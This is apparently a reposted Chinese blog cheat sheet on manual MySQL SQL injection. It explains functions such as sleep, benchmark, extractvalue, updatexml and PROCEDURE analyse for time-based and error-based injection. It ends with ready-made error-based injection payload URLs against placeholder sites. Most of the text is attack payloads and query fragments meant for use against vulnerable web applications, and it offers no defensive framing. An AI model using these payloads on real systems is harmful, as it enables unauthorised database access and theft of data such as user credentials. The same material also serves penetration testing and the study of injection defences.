mysql手工注入

sleep(1) 睡多少秒
benchmark(100,md5(1)) 可用来时间注入, 表示运行md5()函数100次 

procedure analyse(1)
procedure analyse(1,2)
mysql储存过程, 一个或两个参数, 可用在limit 0, 1 后面的注入点
比如:
LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)




extractvalue(1,2)
两个参数, 第二个参数用来报错注入

updatexml(1,2,3)
三个参数, 第二个参数可用来注入


case when 条件 then 语句 when 条件 then 语句 else 语句 end
when可有多个, else可有可无

例子:
select  user,case  when 1>10 then password else 'aaaa' end from mysql.user; 多字段
select case when user='root' then '1' else '0' end from mysql.user; 一个字段
select user,(case when user='root' then '1' else '0' end)a from mysql.user; 起别名




where 与having
where跟having差不多是一样的, 有个特别的就是, where后面可以接多一个having, 
例子:
select user from mysql.user  where user='root' having user='root';
注意不能多个where或多个having连用, 但where后面可接having, having后不能用where


类似的还有:
union select 
union distinct select 
union all select

 

报错注入常用函数:

www.vuln-web.com/index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(OUR QUERY HERE)))--

www.vuln-web.com/index.php?view=-35" and updatexml(null,concat(0x3a,(OUR QUERY HERE)),null)--

www.vuln-web.com/photo.php?id=1' and (select 1 from (Select count(*),Concat((<Your Query here to return single row>),0x3a,floor(rand (0) *2))y from information_schema.tables group by y) x)-- -
原文地址:https://www.cnblogs.com/perl6/p/6995593.html